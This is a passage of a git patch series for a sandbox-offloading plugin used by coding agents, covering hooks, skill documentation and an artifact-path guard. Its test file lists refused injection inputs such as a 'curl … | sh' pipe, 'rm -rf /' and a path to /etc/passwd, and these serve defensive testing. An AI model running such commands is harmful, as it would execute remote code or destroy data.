*|*scratch\ *|*git\ *|*docker\ *) exit 0 ;; +esac + +# heavy build/test signatures worth isolating off-machine +if printf '%s' "$cmd" | grep -Eq \ + '(^|[;&|[:space:]])(make|mvn|gradle|gradlew|bazel|tox|cmake|ctest)([[:space:]]|$)|npm[[:space:]](ci|install|run[[:space:]]build|test)|pnpm[[:space:]](i|install|run|test)|yarn[[:space:]](install|build|test)|pip[[:space:]]install|pytest|go[[:space:]]test|cargo[[:space:]](build|test)'; then + msg='[createos-sandbox] Heavy build/test detected. Consider offloading to a throwaway sandbox to keep the laptop free and isolate deps: `cos offload . ""` (in Claude Code: /createos-sandbox:offload). Proceed locally if it needs local state/secrets. Silence: COS_NO_HINT=1.' + jq -nc --arg m "$msg" '{hookSpecificOutput:{hookEventName:"PreToolUse",additionalContext:$m}}' +fi +exit 0 diff --git a/packages/codex-plugin/scripts/session-start.sh b/packages/codex-plugin/scripts/session-start.sh index 2c207e3..f196cbb 100755 --- a/packages/codex-plugin/scripts/session-start.sh +++ b/packages/codex-plugin/scripts/session-start.sh @@ -1,31 +1,51 @@ #!/usr/bin/env bash -# Session start hook — publish the absolute path of the `cos` driver into context. +# session-start hook — publish the absolute path of the `cos` driver into context. +# +# Mirrors claude-code-plugin/scripts/session-start.sh (same ADR-0001 reasoning, +# same wire format: Codex parses `hookSpecificOutput.additionalContext` exactly +# like Claude Code does, so plain stdout is discarded and the agent is left with +# no driver path at all). Two things differ, and only two: +# +# 1. Codex sets no CLAUDE_PLUGIN_ROOT, so `cos` is resolved relative to this +# script. The driver next to it is a real copy of the canonical +# claude-code-plugin/scripts/cos, written by scripts/sync-shared.sh — +# symlinks are not an option, the Codex installer copies regular files only. +# 2. No ${CLAUDE_PLUGIN_ROOT} warning: that variable does not exist here. set -euo pipefail -# Resolve cos relative to this script -SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" -cos="$SCRIPT_DIR/cos" +cos="$(cd "$(dirname "$0")" && pwd)/cos" +command -v jq >/dev/null 2>&1 || exit 0 + +# A missing or non-executable driver is exactly the case the fail-closed rule +# exists for, so it must still be stated — exiting quietly here would leave the +# agent with no driver AND no instruction, which is how the original fail-open +# happened. Say it plainly instead. if [ ! -x "$cos" ]; then - echo "[createos-sandbox] The sandbox driver is MISSING or not executable at: $cos" - echo "Do not attempt sandbox work. Tell the user the plugin looks broken and stop." + jq -nc --arg m "[createos-sandbox] The sandbox driver is MISSING or not executable at: $cos +Do not attempt sandbox work. Do NOT substitute raw \`createos sandbox\` primitives — that drops egress restriction, keepalive, auto-destroy and the auth preflight. Tell the user the plugin looks broken and stop." \ + '{hookSpecificOutput:{hookEventName:"SessionStart",additionalContext:$m}}' exit 0 fi if command -v cos >/dev/null 2>&1; then - where="cos is already on PATH — call it bare." + where="\`cos\` is already on PATH — call it bare." else - where="cos is NOT on PATH. Call it by this absolute path: $cos" + where="\`cos\` is NOT on PATH. Call it by this absolute path, or run \`$cos install\` once to symlink it into ~/.local/bin." fi -cat <` (from ) in the shell that launched the agent. -## Core commands +**Never ask the user to paste an API key into the conversation** — it lands in the transcript. Export or browser, nothing else. -### Create a sandbox +Every `cos` command except `install` and `auth` runs this check first, so an unauthenticated box never gets tarballed and uploaded before failing. -```bash -createos sandbox create --shape s-2vcpu-2gb --ingress -``` +## When to reach for it -### Run a command inside a sandbox +| Situation | Why offload | +| ---------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- | +| **Untrusted / unknown code** — a snippet, a fresh npm/pip package, scraped code, a PoC exploit | Isolation. The blast radius is one disposable box, not the laptop. | +| **Heavy build or test suite** — big `make`, full test run, compile, benchmark | Keeps the laptop free; runs on a box sized for it. | +| **Parallel/matrix work** — same job across N configs, test shards, batch | `fanout` — each command in its own throwaway box, concurrently, results collected. | +| **Quick scratch Linux** — try a CLI/tool/snippet on a clean box | `shell` — instant keyless box, destroyed on exit (interactive; the user runs it). | +| **Clean-room repro** — "works on my machine" bugs, dependency conflicts | Fresh rootfs every time, no host state. | +| **Live dev loop** — dev server / test watcher / REPL that reacts to edits | Project box + `sync`; you edit locally, the box reacts. | +| **Reach a box-side service** — dev server, DB, API | `tunnel` (private, to `127.0.0.1`) or `expose` (public HTTPS link to share). | +| **Needs a screen** — a real browser, a GUI app, or a desktop to click through | `desktop` — graphical box + noVNC URL; `computer` to drive it (screenshot/click/type). | +| **Multi-machine** — distributed system, DB replication, p2p mesh, load test | `cluster up N` — boxes share one private net, reach each other by name. | +| **Same setup, many variants** — try N branches from one prepared box | `fork` the project box into independent clones. | +| **Repeated identical setup** — every offload starts with the same install prelude | `template` — bake the toolchain into an image once. | +| **Done for now, back tomorrow** — warm box you don't want to rebuild | `pause` — snapshot at zero compute cost, `resume` restores it exactly. | +| **Big data / weights / shared cache** | `disk` — BYO S3 bucket mounted into the box, survives box death. | -```bash -createos sandbox exec -- sh -c 'hostname && uname -a' -``` +Do NOT offload trivial commands, anything needing the user's local secrets/SSH/cloud creds, or work that must touch real local filesystem state. -### List sandboxes +## Picking the verb — decide this before typing anything -```bash -createos sandbox list -``` +Almost every task is one of two shapes, and picking the wrong one wastes a lot of motion: -### Get sandbox info +- **"Run this and tell me the result"** — a test suite, a build, a script, anything with an end. → **`cos offload `.** One command. It creates the box, ships the directory, runs, and destroys the box. Nothing to clean up. +- **"Keep a box around while I work"** — a dev server you'll hit repeatedly, a watcher reacting to edits, a session spanning many commands. → **`cos up`**, then `run`/`sync`, then `pause` or `down`. -```bash -createos sandbox get -``` +If you find yourself doing any of the following, you have picked the wrong shape and should stop and use `offload` instead: -### Destroy a sandbox +- running `cos up` for a task that has a clear finish line +- tarring, base64-encoding, or `push`-ing files into the box by hand — **`offload` stages the directory for you**, with sensible excludes, in the same command +- reaching for `cos status` to decide what to do first — for one-shot work there is nothing to check, just offload -```bash -createos sandbox rm --yes -``` +`cos run` takes the command as one plain string. There is no `--` separator: `cos run 'npm ci && npm test'`. -### Pause / Resume +## Pattern A — one-shot offload (the default, and the safe one) + +Stage a directory, run, optionally pull artifacts back, **always auto-destroys**. Flags come **before** the ` ` positionals. ```bash -createos sandbox pause -createos sandbox resume +# run a test suite off-machine (the preset opens the registries it needs) +cos offload -p python-uv . 'uv sync --frozen --group dev && uv run pytest -q' + +# Python + Rust, compose presets, exclude build dirs, pull artifacts back +cos offload -p python-uv -p rust-cargo -x target -o dist . 'uv sync --frozen && uv run pytest -q' + +# trusted heavy build, explicitly unrestricted egress +cos offload -E -s s-2vcpu-2gb . 'cargo build --release' + +# untrusted script, outbound locked to exactly what it needs +cos offload -e pypi.org -e files.pythonhosted.org ./suspect 'python3 main.py' ``` -## File transfer +Two things about this that are easy to get wrong: -### Push a file to sandbox +- **Egress is unrestricted by default.** A fresh box can reach anything; `cos` prints a one-line notice. Restricting is opt-in with `-p ` or `-e `. So "run this untrusted thing in a sandbox" is only half done until you pass one of those. +- **Uploads are one-way.** Box-side changes never touch the local tree unless you ask with `-o `. `.git`, `node_modules`, `target`, `.venv` and friends are excluded from the upload by default — dependencies are meant to be built _inside_ the box. + +Long, quiet builds survive a dropped connection: the command runs detached with a heartbeat watcher that re-attaches if the stream dies. The real exit code is preserved. + +For the full flag table, the egress presets, the enforcement caveats, fanout, and the OOM/disk/bandwidth traps on heavy builds → **`references/offload-and-egress.md`**. + +### Fanout — same input, many boxes, in parallel ```bash -echo 'file content' | base64 | createos sandbox exec -- sh -c "base64 -d > /path/to/file" +cos fanout -j 2 -p python-uv . 'pytest -q tests/unit' 'pytest -q tests/integration' 'ruff check' ``` -### Pull a file from sandbox +Each job gets its own box with no shared network — that is what distinguishes it from `cluster`. `-j` defaults to 2 to match the concurrency external keys have been observed to allow; going higher just queues the extra jobs rather than failing. + +## Pattern B — reusable project box (opt-in) + +For repeated runs against a warm box, or a dev server you edit against. One box per git root, tracked in a statefile. ```bash -createos sandbox pull /path/to/file - +cos up -s s-2vcpu-2gb # create/reuse this project's box +cos run 'npm ci' # warm it — deps persist across runs +cos sync ~/app /work # one-way by default (laptop → box), background +cos run 'npm run dev &' # start a watcher; it sees synced edits +cos status # box + sync + tunnels + forks +cos pause # park it at zero compute cost +cos resume # bring it back exactly as it was +cos down # stop sync + destroy the box ``` -## Networking +**`up` is for a box you intend to reuse and then tear down.** A bare "run this in a sandbox" is _not_ Pattern B — use `cos offload` (one-shot, auto-destroys) or `cos shell`. Reaching for `up` to satisfy "create a sandbox" makes the box outlive the task, and a later `cos down` destroys it along with anything else sharing that statefile. -### Get a public URL for a port +**Ending a session: prefer `pause` over `down`** when the box has a warm toolchain the user will want again. `down` destroys and the next session reinstalls everything; `pause` snapshots disk _and_ memory, stops compute billing, and brings everything back on `resume` — measured end-to-end at around 6–8 s each way through the CLI. Use `down` when the work is genuinely finished. -The sandbox's ingress URL template is in `createos sandbox get `. Replace `` with the actual port number. +If a box under this project's name is running but the statefile is gone (another checkout, another agent, created by hand), `up` **refuses** rather than adopting it — adopting silently would let a later `cos down` destroy a box this project never created. `cos up -a` adopts explicitly, and an adopted box is never destroyed by `cos down`. -### Port tunnel to localhost +### Sync modes -```bash -createos sandbox tunnel --remote --local -``` +`cos sync` defaults to **one-way (laptop → box)** — the safe direction for a dev loop. + +| Flag | Mode | Behavior | +| ----------- | --------- | ---------------------------------------------------------------------------------- | +| _(default)_ | `one-way` | laptop wins; box changes NOT pulled back. **No bleed-back.** | +| `-2` | `two-way` | bidirectional; box-side writes (build output, deps) **flow back** to the local dir | +| `-M` | `mirror` | one-way **and deletes** box-side files absent locally | +| `-x ` | — | exclude paths (repeatable) | + +`.git` and the big regenerable dirs are excluded by default — build deps inside the box with `cos run 'npm ci'` rather than syncing them up. Only reach for `-2` when a box-side process genuinely produces files you need back locally, and never on the user's repo root without saying so first; prefer `offload -o` for pulling artifacts. The local dir must resolve under `$HOME` or `/tmp`. The first sync downloads its sync engine, so allow a minute before edits propagate. -### Private networks (multi-node) +## Pattern C — networking ```bash -createos sandbox network create -createos sandbox network attach -createos sandbox network show +cos run 'npm run dev &' && cos tunnel 3000 # private → http://127.0.0.1:3000 +cos expose 8080 # public HTTPS URL to share +cos unexpose # revoke +cos cluster up 3 # 3 boxes on one private net, name-addressable +cos cluster run -a 'uname -a' # fan a command across every member +cos vpn register my-laptop && cos vpn up # WireGuard L3 into the private network ``` -## Persistent storage (S3 disks) +- **`tunnel` is private, `expose` is public.** Prefer `tunnel` for dev loops. Use `expose` to share a preview with the team or to give a webhook a target. +- **An exposed service must bind `0.0.0.0:`, not loopback** — ingress arrives on the box's interface. A loopback-bound server passes every in-box check and still returns nothing through the URL. +- **The expose URL is the credential.** No token, no auth layer — anyone with the link reaches the service. `cos unexpose` when the demo is done. +- **`cos vpn up` and `cos shell` block and need a real terminal** — hand them to the user (`!cos vpn up`) rather than launching them as agent commands. + +For the DNS names cluster members resolve each other by, and the rest of the expose/tunnel/VPN detail → **`references/networking.md`**. + +## Pattern D — a desktop, and driving it + +Some work needs a screen: a real (not headless) browser, a GUI app, or an install flow that only exists as a wizard. `cos desktop` puts the project box on the `desktop:1` rootfs — XFCE, Google Chrome, `xdotool`/`wmctrl`/`scrot`/`xclip` — and hands back a live noVNC URL. ```bash -createos sandbox disk create --bucket --endpoint --access-key --secret-key -createos sandbox disk attach /mnt/data +cos desktop # desktop:1 box + ingress + noVNC URL (waits for the desktop to boot) +cos computer screenshot # PNG → prints a path; open it with the Read tool +cos computer screen # {"width":1280,"height":800} — the coordinate space +cos computer open https://example.com +cos computer click 640 400 +cos computer type 'hello' +cos computer key ctrl l # a chord +cos computer help # every op, plus `raw` for the rest of the API ``` -## Device VPN +The two halves are independent and useful together: the URL lets the **user** watch and take over in a browser, while `cos computer` lets **you** act. `desktop:1` also ships the Claude Code, Codex, Pi, OpenCode and Cursor CLIs, so "run an agent on a box and let the user watch the screen" needs no extra setup. + +Things that will bite you if you skip them: + +- **Take a screenshot before you click, and after.** You are driving blind otherwise — nothing in this API confirms that a click landed on what you meant. +- **Coordinates are raw X11 pixels** of that screen, with no scaling or DPI translation anywhere. Read the bounds from `cos computer screen` rather than assuming 1280x800. +- **The desktop boots after the box reports `running`.** `cos desktop` polls for readiness; a bare `cos up -r desktop:1` does not, and every computer call will fail until the stack is up. +- **A `409` is ambiguous by design.** fc returns `desktop_unavailable` both while the desktop is still coming up and when an action fails on a perfectly healthy desktop, so never read it as "the box is broken". +- **The noVNC link is a bearer URL** — anyone holding it can drive the desktop, and the token expires. Say so when handing it over, and don't paste it anywhere it will outlive the box. +- This is the one place `cos` calls the CreateOS REST API directly, because the `createos` CLI has no computer or desktop command yet. Everything else still goes through the CLI. + +## Scratch box and data disks ```bash -createos sandbox devices register -# User runs in separate terminal (requires sudo): -createos sb vpn up +cos shell # instant clean Linux, destroyed on exit — HAND THIS TO THE USER +cos disk create data --bucket my-bucket --endpoint https://s3.amazonaws.com \ + --access-key … --secret-key … [--region us-east-1] [--path-style] +cos disk attach data /mnt/data # needs the project box; the bucket stays in the user's account +cos disk detach data /mnt/data # unmount; bucket untouched ``` -## Workflow pattern +Disk data lives in the user's own S3 account and region. `--path-style` is needed for MinIO and R2. Prefer scoped, least-privilege keys, and prefer the CLI's interactive prompts over passing secrets as arguments — command lines are visible to other local users and land in shell history. Detaching only unmounts; it never deletes bucket data. Note that **a fork does not carry disk mounts** — re-attach on the clone. + +## Lifecycle and cost + +- Ephemeral boxes self-destroy. The project box carries a 30-minute idle auto-pause as a backstop, so a forgotten box parks itself instead of billing overnight. Raise it with `createos sandbox edit --auto-pause 4h` when a box is serving an exposed URL people will hit intermittently — otherwise the demo will look dead between visitors. +- Finish a live session with `cos pause` (keeping the warm state) or `cos down` (done for good). Don't leave a running box behind either way. +- **Concurrency is limited** — external keys have been observed to allow 2 boxes running at once, with a daily creation cap. This is observed behaviour rather than published policy, so budget `cluster` and `fanout` against it and expect excess jobs to queue rather than fail. +- If a shape is rejected, the error names the allowed list — pick from it, or run `createos sandbox shapes`. +- Pre-existing boxes the user already runs are **not** yours. `cos` only ever destroys boxes it created itself; a box adopted with `cos up -a` survives `cos down`. +- CreateOS Sandbox is in alpha with no SLA. When a limit or a number matters to a decision, check it live rather than quoting it from here. + +## References -1. Create sandbox: `createos sandbox create --shape s-2vcpu-2gb --ingress` -2. Note the sandbox ID from the output -3. Run commands: `createos sandbox exec -- sh -c ''` -4. When done: `createos sandbox rm --yes` +Load these when the task actually needs the depth — the summaries above are enough for most work. -IMPORTANT: Always use `createos sandbox exec -- sh -c ''` to run commands inside the sandbox. Do NOT use the built-in bash/shell tool for sandbox work — that runs on the user's local machine. +| File | Read it for | +| ------------------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `references/offload-and-egress.md` | offload flag table, egress presets and how enforcement really behaves, fanout, upload excludes, heavy-build OOM/disk/bandwidth traps | +| `references/networking.md` | choosing between tunnel/expose/cluster/vpn, cluster DNS names, expose gotchas, WireGuard setup | +| `references/lifecycle-and-images.md` | pause/resume, auto-pause tuning, fork caveats, built-in rootfs vs custom templates, env vars, remote editor, self-terminating jobs, single-file transfer, measured timings | diff --git a/packages/codex-plugin/skills/using-createos-sandbox/references/lifecycle-and-images.md b/packages/codex-plugin/skills/using-createos-sandbox/references/lifecycle-and-images.md index 3cfb404..4d2db54 100644 --- a/packages/codex-plugin/skills/using-createos-sandbox/references/lifecycle-and-images.md +++ b/packages/codex-plugin/skills/using-createos-sandbox/references/lifecycle-and-images.md @@ -65,6 +65,7 @@ Built-ins are kept warm on the hosts, so they boot with no image pull: | `ubuntu:26.04` | plain Ubuntu | | `debian:13` | trixie | | `alpine:3.20` | musl + busybox, far smaller; expect glibc-linked binaries and wheels not to work | +| `desktop:1` | graphical — XFCE, Google Chrome, `xdotool`/`wmctrl`/`scrot`/`xclip`, and the Claude Code, Codex, Pi, OpenCode and Cursor CLIs. Reach it with `cos desktop`, not `cos up -r desktop:1` — only the former waits for the desktop stack to boot and mints the noVNC URL | `createos sandbox rootfs` lists what the account can actually boot. diff --git a/scripts/sync-shared.sh b/scripts/sync-shared.sh new file mode 100755 index 0000000..b9b6e22 --- /dev/null +++ b/scripts/sync-shared.sh @@ -0,0 +1,60 @@ +#!/usr/bin/env bash +# Copy shared sources into the packages that ship them. +# +# Two canonical trees: +# packages/claude-code-plugin/ — the `cos` bash driver, the skill, the hooks +# packages/shared/ — sandbox-engine.ts, the same semantics in TS +# +# Symlinks would be the obvious answer and do not work: the Codex plugin +# installer copies regular files only, so a symlinked repo installs with no +# driver and no skill at all — silently. Verified against codex-cli 0.153.4. +# Hence real copies, plus `--check` in CI so they cannot drift the way codex's +# SKILL.md drifted 77 lines behind. +# +# Usage: scripts/sync-shared.sh [--check] +set -euo pipefail + +cd "$(dirname "$0")/.." + +# Each entry is ":". +PAIRS=( + "packages/claude-code-plugin/scripts/cos:packages/codex-plugin/scripts/cos" + "packages/claude-code-plugin/scripts/offload-hint.sh:packages/codex-plugin/scripts/offload-hint.sh" + "packages/claude-code-plugin/skills/using-createos-sandbox/SKILL.md:packages/codex-plugin/skills/using-createos-sandbox/SKILL.md" + "packages/claude-code-plugin/skills/using-createos-sandbox/references/lifecycle-and-images.md:packages/codex-plugin/skills/using-createos-sandbox/references/lifecycle-and-images.md" + "packages/claude-code-plugin/skills/using-createos-sandbox/references/networking.md:packages/codex-plugin/skills/using-createos-sandbox/references/networking.md" + "packages/claude-code-plugin/skills/using-createos-sandbox/references/offload-and-egress.md:packages/codex-plugin/skills/using-createos-sandbox/references/offload-and-egress.md" + "packages/shared/sandbox-engine.ts:packages/opencode-plugin/src/sandbox-engine.ts" + "packages/shared/sandbox-engine.ts:packages/pi-extension/src/sandbox-engine.ts" +) + +check=0 +[ "${1:-}" = "--check" ] && check=1 +drift=0 + +for pair in "${PAIRS[@]}"; do + src=${pair%%:*} + dst=${pair#*:} + [ -f "$src" ] || { echo "missing source: $src" >&2; exit 1; } + if [ "$check" = 1 ]; then + if ! diff -q "$src" "$dst" >/dev/null 2>&1; then + echo "DRIFT: $dst differs from $src" + drift=1 + fi + else + mkdir -p "$(dirname "$dst")" + cp "$src" "$dst" + [ -x "$src" ] && chmod +x "$dst" + fi +done + +if [ "$check" = 1 ]; then + if [ "$drift" = 0 ]; then + echo "shared files in sync (${#PAIRS[@]} copies)" + else + echo "run scripts/sync-shared.sh to fix" >&2 + exit 1 + fi +else + echo "synced ${#PAIRS[@]} copies" +fi From 49dbcb2b791484402c6c2171b339e467d2fc31d2 Mon Sep 17 00:00:00 2001 From: pratikbin <68642400+pratikbin@users.noreply.github.com> Date: Thu, 10 Sep 2026 17:59:50 +0530 Subject: [PATCH 6/7] fix(shared): validate the artifact path before it reaches a shell MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit pullArtifacts interpolates `out` into a remote shell command unquoted, so that globs like dist/* keep working — the same trade scripts/cos makes. The local shell was never exposed: the whole remote script is a single quoted argv element. And the caller that supplies `out` also supplies `command`, which is arbitrary remote code by design, so injection through `out` granted nothing that was not already on offer. Guarding it anyway. It costs one regex, it keeps a future caller that pins `command` but forwards `out` from handing over the box's shell, and it turns a path containing a space into a clear error rather than a baffling tar failure. Paths that would escape /work are refused too. --- .../opencode-plugin/src/sandbox-engine.ts | 26 +++++++++++++ packages/pi-extension/src/sandbox-engine.ts | 26 +++++++++++++ packages/shared/sandbox-engine.test.ts | 39 +++++++++++++++++++ packages/shared/sandbox-engine.ts | 26 +++++++++++++ 4 files changed, 117 insertions(+) diff --git a/packages/opencode-plugin/src/sandbox-engine.ts b/packages/opencode-plugin/src/sandbox-engine.ts index 6892fb6..b8dcd9d 100644 --- a/packages/opencode-plugin/src/sandbox-engine.ts +++ b/packages/opencode-plugin/src/sandbox-engine.ts @@ -311,8 +311,34 @@ export function stage(id: string, dir: string, extraExcludes: string[] = []): vo } } +/** + * `out` is interpolated into a remote shell command UNQUOTED, because that is + * what makes globs like `dist/*` work — the same trade the `cos` driver makes. + * The local shell is never exposed (the whole remote script is one quoted argv + * element), and the caller supplying `out` also supplies `command`, so remote + * execution is already theirs by design. This guard is therefore defence in + * depth rather than a boundary: it keeps a future caller that fixes `command` + * but forwards `out` from handing over the box's shell, and it turns a path + * with a space or a stray metacharacter into a clear error instead of a + * baffling tar failure. + */ +const SAFE_OUT_PATH = /^[A-Za-z0-9._/*?[\]-]+$/; + +export function assertSafeOutPath(out: string): void { + if (!SAFE_OUT_PATH.test(out)) { + throw new Error( + `Refusing to pull '${out}': an artifact path may contain only letters, digits, ` + + `. _ - / and the glob characters * ? [ ].`, + ); + } + if (out.startsWith("/") || out.split("/").includes("..")) { + throw new Error(`Refusing to pull '${out}': the path must stay inside /work.`); + } +} + /** Pull a path under /work back into the local directory. */ export function pullArtifacts(id: string, dir: string, out: string): boolean { + assertSafeOutPath(out); // Probe first: pipefail catches the remote tar's failure, but an explicit // existence check is what makes the warning's "does /work/ exist?" // actually true, and it costs one exec. diff --git a/packages/pi-extension/src/sandbox-engine.ts b/packages/pi-extension/src/sandbox-engine.ts index 6892fb6..b8dcd9d 100644 --- a/packages/pi-extension/src/sandbox-engine.ts +++ b/packages/pi-extension/src/sandbox-engine.ts @@ -311,8 +311,34 @@ export function stage(id: string, dir: string, extraExcludes: string[] = []): vo } } +/** + * `out` is interpolated into a remote shell command UNQUOTED, because that is + * what makes globs like `dist/*` work — the same trade the `cos` driver makes. + * The local shell is never exposed (the whole remote script is one quoted argv + * element), and the caller supplying `out` also supplies `command`, so remote + * execution is already theirs by design. This guard is therefore defence in + * depth rather than a boundary: it keeps a future caller that fixes `command` + * but forwards `out` from handing over the box's shell, and it turns a path + * with a space or a stray metacharacter into a clear error instead of a + * baffling tar failure. + */ +const SAFE_OUT_PATH = /^[A-Za-z0-9._/*?[\]-]+$/; + +export function assertSafeOutPath(out: string): void { + if (!SAFE_OUT_PATH.test(out)) { + throw new Error( + `Refusing to pull '${out}': an artifact path may contain only letters, digits, ` + + `. _ - / and the glob characters * ? [ ].`, + ); + } + if (out.startsWith("/") || out.split("/").includes("..")) { + throw new Error(`Refusing to pull '${out}': the path must stay inside /work.`); + } +} + /** Pull a path under /work back into the local directory. */ export function pullArtifacts(id: string, dir: string, out: string): boolean { + assertSafeOutPath(out); // Probe first: pipefail catches the remote tar's failure, but an explicit // existence check is what makes the warning's "does /work/ exist?" // actually true, and it costs one exec. diff --git a/packages/shared/sandbox-engine.test.ts b/packages/shared/sandbox-engine.test.ts index 4dc3a71..435b742 100644 --- a/packages/shared/sandbox-engine.test.ts +++ b/packages/shared/sandbox-engine.test.ts @@ -10,6 +10,7 @@ import { expect, test } from "bun:test"; import { DEFAULT_EXCLUDES, EGRESS_PRESETS, + assertSafeOutPath, cleanupFailureNote, egressArgs, retentionReasons, @@ -132,3 +133,41 @@ test("a failed teardown names the box that is still costing money", () => { expect(note).toContain("createos sandbox rm -y sb-1"); expect(note).toContain("connection timed out"); }); + +// --- Artifact path guard -------------------------------------------------- +// `out` reaches a remote shell unquoted so that globs work. The caller already +// owns remote execution via `command`, so this is defence in depth — but it +// must not break the globs it exists alongside. + +test("ordinary and globbed artifact paths are allowed", () => { + for (const ok of [ + "out", + "dist", + "dist/*", + "build/out-1.tar", + "a/b/c", + "target/*.whl", + "x[0-9]", + ]) { + expect(() => assertSafeOutPath(ok)).not.toThrow(); + } +}); + +test("shell metacharacters in an artifact path are refused", () => { + for (const bad of [ + "out; curl evil.sh | sh", + "out && rm -rf /", + "$(whoami)", + "`id`", + "a|b", + "a\nb", + "out 'x'", + ]) { + expect(() => assertSafeOutPath(bad)).toThrow(/may contain only/); + } +}); + +test("an artifact path may not escape /work", () => { + expect(() => assertSafeOutPath("/etc/passwd")).toThrow(/inside \/work/); + expect(() => assertSafeOutPath("../../etc")).toThrow(/inside \/work/); +}); diff --git a/packages/shared/sandbox-engine.ts b/packages/shared/sandbox-engine.ts index 6892fb6..b8dcd9d 100644 --- a/packages/shared/sandbox-engine.ts +++ b/packages/shared/sandbox-engine.ts @@ -311,8 +311,34 @@ export function stage(id: string, dir: string, extraExcludes: string[] = []): vo } } +/** + * `out` is interpolated into a remote shell command UNQUOTED, because that is + * what makes globs like `dist/*` work — the same trade the `cos` driver makes. + * The local shell is never exposed (the whole remote script is one quoted argv + * element), and the caller supplying `out` also supplies `command`, so remote + * execution is already theirs by design. This guard is therefore defence in + * depth rather than a boundary: it keeps a future caller that fixes `command` + * but forwards `out` from handing over the box's shell, and it turns a path + * with a space or a stray metacharacter into a clear error instead of a + * baffling tar failure. + */ +const SAFE_OUT_PATH = /^[A-Za-z0-9._/*?[\]-]+$/; + +export function assertSafeOutPath(out: string): void { + if (!SAFE_OUT_PATH.test(out)) { + throw new Error( + `Refusing to pull '${out}': an artifact path may contain only letters, digits, ` + + `. _ - / and the glob characters * ? [ ].`, + ); + } + if (out.startsWith("/") || out.split("/").includes("..")) { + throw new Error(`Refusing to pull '${out}': the path must stay inside /work.`); + } +} + /** Pull a path under /work back into the local directory. */ export function pullArtifacts(id: string, dir: string, out: string): boolean { + assertSafeOutPath(out); // Probe first: pipefail catches the remote tar's failure, but an explicit // existence check is what makes the warning's "does /work/ exist?" // actually true, and it costs one exec. From 8c86c38dbdfe5ed20d55e82e817094b0583cde1b Mon Sep 17 00:00:00 2001 From: pratikbin <68642400+pratikbin@users.noreply.github.com> Date: Fri, 11 Sep 2026 11:01:27 +0530 Subject: [PATCH 7/7] refactor(codex): move the manifest into Codex's own namespace MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Codex resolves plugin manifests from .codex-plugin/plugin.json first, then falls back to .claude-plugin/plugin.json and .cursor-plugin/plugin.json, so the plugin was living in Claude Code's namespace on that fallback. The marketplace entry stays in .claude-plugin/marketplace.json because that is the only marketplace path the Codex binary knows — there is no .codex-plugin/marketplace.json. Removing the entry makes `codex plugin add createos-sandbox-codex` fail outright. --- .../codex-plugin/{.claude-plugin => .codex-plugin}/plugin.json | 0 packages/codex-plugin/README.md | 2 +- 2 files changed, 1 insertion(+), 1 deletion(-) rename packages/codex-plugin/{.claude-plugin => .codex-plugin}/plugin.json (100%) diff --git a/packages/codex-plugin/.claude-plugin/plugin.json b/packages/codex-plugin/.codex-plugin/plugin.json similarity index 100% rename from packages/codex-plugin/.claude-plugin/plugin.json rename to packages/codex-plugin/.codex-plugin/plugin.json diff --git a/packages/codex-plugin/README.md b/packages/codex-plugin/README.md index 8aff197..958ef9f 100644 --- a/packages/codex-plugin/README.md +++ b/packages/codex-plugin/README.md @@ -79,7 +79,7 @@ Run `cos help` for the full list. ``` packages/codex-plugin/ -├── .claude-plugin/plugin.json # marketplace manifest (name, version) +├── .codex-plugin/plugin.json # Codex plugin manifest (name, version) ├── manifest.json # Codex manifest — skills + hooks wiring ├── skills/using-createos-sandbox/ │ ├── SKILL.md # copy — canonical lives in claude-code-plugin